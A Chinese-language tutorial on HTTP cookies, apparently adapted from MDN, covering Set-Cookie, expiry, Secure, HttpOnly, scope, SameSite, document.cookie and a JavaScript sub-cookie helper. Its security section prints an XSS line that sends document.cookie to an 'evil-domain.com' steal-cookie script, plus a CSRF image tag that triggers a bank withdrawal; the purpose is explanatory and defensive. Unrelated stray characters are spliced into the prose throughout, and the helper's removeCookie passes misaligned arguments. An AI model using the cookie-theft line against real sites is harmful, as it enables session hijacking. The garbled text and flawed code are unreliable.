何為cookie
HTTP Cookie(也叫Web Cookie或瀏覽器Cookie)是服務器發(fā)送到用戶瀏覽器并保存在本地的一小塊數(shù)據(jù),它會在瀏覽器下次向同一服務器再發(fā)起請求時被攜帶并發(fā)送到服務器上苛谷。通常盗忱,它用于告知服務端兩個請求是否來自同一瀏覽器,如保持用戶的登錄狀態(tài)屉栓。Cookie使基于無狀態(tài)的HTTP協(xié)議記錄穩(wěn)定的狀態(tài)信息成為了可能舷蒲。
應用
- 會話狀態(tài)管理(如用戶登錄狀態(tài)、購物車友多、游戲分數(shù)或其它需要記錄的信息)
- 個性化設置(如用戶自定義設置牲平、主題等)
- 瀏覽器行為跟蹤(如跟蹤分析用戶行為等)
Cookie曾一度用于客戶端數(shù)據(jù)的存儲,因當時并沒有其它合適的存儲辦法而作為唯一的存儲手段域滥,但現(xiàn)在隨著現(xiàn)代瀏覽器開始支持各種各樣的存儲方式纵柿,Cookie漸漸被淘汰蜈抓。由于服務器指定Cookie后,瀏覽器的每次請求都會攜帶Cookie數(shù)據(jù)昂儒,會帶來額外的性能開銷(尤其是在移動環(huán)境下)沟使。新的瀏覽器API已經(jīng)允許開發(fā)者直接將數(shù)據(jù)存儲到本地,如使用 Web storage API (本地存儲和會話存儲)或 IndexedDB 渊跋。
創(chuàng)建Cookie
當服務器收到HTTP請求時腊嗡,服務器可以在響應頭里面添加一個
Set-Cookie
選項。瀏覽器收到響應后通常會保存下Cookie拾酝,之后對該服務器每一次請求中都通過Cookie請求頭部將Cookie信息發(fā)送給服務器燕少。另外,Cookie的過期時間蒿囤、域客们、路徑、有效期蟋软、適用站點都可以根據(jù)需要來指定镶摘。Set-Cookie響應頭部和Cookie請求頭部
服務器使用Set-Cookie響應頭部向用戶代理(一般是瀏覽器)發(fā)送Cookie信息。一個簡單的Cookie可能像這樣:
Set-Cookie: <cookie名>=<cookie值>
服務器通過該頭部告知客戶端保存Cookie信息岳守。
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
現(xiàn)在凄敢,對該服務器發(fā)起的每一次新請求,瀏覽器都會將之前保存的Cookie信息通過Cookie請求頭部再發(fā)送給服務器湿痢。
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
會話期Cookie
會話期Cookie是最簡單的Cookie:瀏覽器關閉之后它會被自動刪除涝缝,也就是說它僅在會話期內有效。會話期Cookie不需要指定過期時間(Expires)或者有效期(Max-Age)譬重。需要注意的是拒逮,有些瀏覽器提供了會話恢復功能,這種情況下即使關閉了瀏覽器臀规,會話期Cookie也會被保留下來滩援,就好像瀏覽器從來沒有關閉一樣。
持久性Cookie
和關閉瀏覽器便失效的會話期Cookie不同塔嬉,持久性Cookie可以指定一個特定的過期時間(Expires)或有效期(Max-Age)玩徊。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
當Cookie的過期時間被設定時,設定的日期和時間只與客戶端相關谨究,而不是服務端恩袱。
Cookie的Secure 和HttpOnly 標記
安全的Cookie只應通過HTTPS協(xié)議加密過的請求發(fā)送給服務端。即便設置了 Secure 標記胶哲,敏感信息也不應該通過Cookie傳輸畔塔,因為Cookie有其固有的不安全性,Secure 標記也無法提供確實的安全保障。從 Chrome 52 和 Firefox 52 開始澈吨,不安全的站點(http:)無法使用Cookie的 Secure 標記把敢。
為避免跨域腳本 (XSS
) 攻擊,通過JavaScript的Document.cookie
API無法訪問帶有 HttpOnly
標記的Cookie棚辽,它們只應該發(fā)送給服務端技竟。如果包含服務端 Session 信息的 Cookie 不想被客戶端 JavaScript 腳本調用,那么就應該為其設置 HttpOnly 標記屈藐。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Cookie的作用域
Domain
和 Path
標識定義了Cookie的作用域:即Cookie應該發(fā)送給哪些URL榔组。
Domain 標識指定了哪些主機可以接受Cookie。如果不指定联逻,默認為當前文檔的主機(不包含子域名)搓扯。如果指定了Domain,則一般包含子域名包归。
例如锨推,如果設置 Domain=mozilla.org,則Cookie也包含在子域名中(如developer.mozilla.org)公壤。
Path 標識指定了主機下的哪些路徑可以接受Cookie(該URL路徑必須存在于請求URL中)换可。以字符 %x2F ("/") 作為路徑分隔符,子路徑也會被匹配厦幅。
例如沾鳄,設置 Path=/docs,則以下地址都會匹配:
/docs
/docs/Web/
/docs/Web/HTTP
SameSite Cookies
SameSite Cookie允許服務器指定在跨站請求時該Cookie是否會被發(fā)送确憨,從而可以阻止跨站請求偽造攻擊(CSRF
)译荞。但目前SameSite Cookie還處于實驗階段,并不是所有瀏覽器都支持休弃。
JavaScript通過Document.cookies訪問Cookie
通過Document.cookie屬性可創(chuàng)建新的Cookie吞歼,也可通過該屬性訪問非HttpOnly標記的Cookie。
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"
請留意在安全節(jié)提到的安全隱患問題塔猾,JavaScript可以通過跨站腳本攻擊(XSS
)的方式來竊取Cookie篙骡。
安全
當機器處于不安全環(huán)境時,切記不能通過HTTP Cookie存儲丈甸、傳輸敏感信息医增。
會話劫持和XSS
在Web應用中,Cookie常用來標記用戶或授權會話老虫。因此,如果Web應用的Cookie被竊取茫多,可能導致授權用戶的會話受到攻擊祈匙。常用的竊取Cookie的方法有利用社會工程學攻擊和利用應用程序漏洞進行XSS攻擊。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly類型的Cookie由于阻止了JavaScript對其的訪問性而能在一定程度上緩解此類攻擊。
跨站請求偽造(CSRF)
維基百科已經(jīng)給了一個比較好的CSRF例子夺欲。比如在不安全聊天室或論壇上的一張圖片跪帝,它實際上是一個給你銀行服務器發(fā)送提現(xiàn)的請求:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
當你打開含有了這張圖片的HTML頁面時,如果你之前已經(jīng)登錄了你的銀行帳號并且Cookie仍然有效(還沒有其它驗證步驟)些阅,你銀行里的錢很可能會被自動轉走伞剑。有一些方法可以阻止此類事件的發(fā)生:
- 對用戶輸入進行過濾來阻止XSS;
- 任何敏感操作都需要確認市埋;
- 用于敏感信息的Cookie只能擁有較短的生命周期黎泣;
- 更多方法可以查看OWASP CSRFhttps://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet。
JS操作cookie
由于cookie的個數(shù)以及大小限制缤谎,出現(xiàn)了子cookie抒倚,它相當于cookie的一小段答恶,格式可能類似下面這樣:
name=name1=”Liu”&name2=”Yang”&name3=”Chen”
這就是一個名為name的cookie口糕,但是它又有3個子cookie。
同樣也可以利用JS寫一個設置cookie或獲取cookie的通用方法券盅,但是主要這時設置可以設置某個cookie選項频敛,也可以設置某個cookie 選項中某一個子cookie的值
var UtilCookie = {
get : function(Cname, name){
var data = this.getAllCookie(Cname);
if(data[name])
return data[name];
else
return false;
},
getAllCookie : function(cookieName){
cookieName = cookieName + "=";
var res = {};
var CStart = document.cookie.indexOf(cookieName);
if(CStart != -1)
{
var CEnd = document.cookie.indexOf(";", CStart);
if(CEnd == -1)
{
CStartStr = document.cookie.substring( CStart + cookieName.length);
var part = CStartStr.split("&");
for(var i = 0; i < part.length; i++)
{
var partP = part[i].split("=");
res[partP[0]] = partP[1];
}
}
else
{
CStartStr = document.cookie.substring( CStart + cookieName.length, CEnd);
var part = CStartStr.split("&");
for(var i = 0; i < part.length; i++)
{
var partP = part[i].split("=");
res[partP[0]] = partP[1];
}
}
return res;
}
else
{
return false;
}
},
setAll: function(Cname, subcookie, expires, path, domain, secure){
var CText = encodeURIComponent(Cname) + "=";
var Arr = [];
for(subName in subcookie)
{
if(subName.length > 0 && subcookie.hasOwnProperty(subName))
{
Arr.push(encodeURIComponent(subName) + "=" + encodeURIComponent(subcookie[subName]));
}
}
if(Arr.length > 0)
{
CText += Arr.join("&");
}
if(expires instanceof Date)
{
CText += ";expires=" + expires.toGMTString();
}
if(path)
{
CText += ";path=" + path;
}
if(domain)
{
CText += ";domain=" + domain;
}
if(secure)
{
CText += ";secure";
}
document.cookie = CText;
},
set : function(name, subName, value, expires, domain, path, secure){
var subcookie = this.getAllCookie(name);
subcookie[subName] = value;
this.setAll(name, subcookie, expires, path, domain, secure);
},
removeCookie: function(name){
//刪除cookie時將其過期時間設為過去的一個時間就可以了
this.set(name, '', new Date(0));
}
}
//子cookie的格式: name=name1="Liu"&name2="Hellen"&name3="Yang";
UtilCookie.setAll( "name", { name1:"Liu", name2:"Yang", family:"YL" });
UtilCookie.get("name", "name1");
文章參考
- https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies
- http://blog.csdn.net/u010046318/article/details/72791786